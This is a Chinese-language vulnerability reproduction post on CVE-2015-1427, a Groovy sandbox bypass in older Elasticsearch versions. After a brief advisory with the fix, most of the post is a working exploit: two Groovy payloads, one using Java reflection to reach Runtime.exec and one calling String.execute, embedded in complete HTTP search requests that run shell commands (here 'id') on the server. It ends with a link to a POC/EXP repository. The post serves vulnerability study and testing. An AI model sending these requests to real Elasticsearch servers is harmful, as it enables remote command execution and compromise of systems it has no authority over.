ElasticSearch Groovy 沙盒绕过 && 代码执行漏洞

发布时间 2023-12-20 11:55:35作者: twsec

漏洞编号:CVE-2015-1427

漏洞详情

CVE编号 CVE-2015-1427 漏洞级别 高危7.5
标题 Elasticsearch Groovy 脚本引擎存在远程代码执行漏洞 披露时间 2015/02/17
漏洞总结 Elasticsearch在版本1.3.8之前及版本1.4.x在1.4.3之前的Groovy脚本引擎存在漏洞,远程攻击者可通过精心构造的脚本绕过沙箱保护机制并执行任意shell命令。
利用路径 NETWORK 利用难度 容易10
影响产品 elasticsearch
解决方案 升级到Elasticsearch版本1.3.8或1.4.3以上,或禁用Groovy插件。

漏洞复现

两种执行命令的方法:

1、利用java反射绕过沙盒

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

2、Goovy直接执行命令

def command='id';def res=command.execute().text;res

添加一条数据

POST /test/test/ HTTP/1.1
Host: ip:端口
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 24

{
  "name": "test"
}

执行命令

第一种方法:

POST /_search?pretty HTTP/1.1
Host: ip:端口
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

第二种方法:

POST /_search?pretty HTTP/1.1
Host: ip:端口
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.81 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Length: 156

{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "def command='id';def res=command.execute().text;res"}}}

POC&EXP

github:POC-EXP/ElasticSearch Groovy 沙盒绕过 at main · twsec-pro/POC-EXP (github.com)

yakit:86556f00-6ebb-4422-804c-6f58cb9b9f79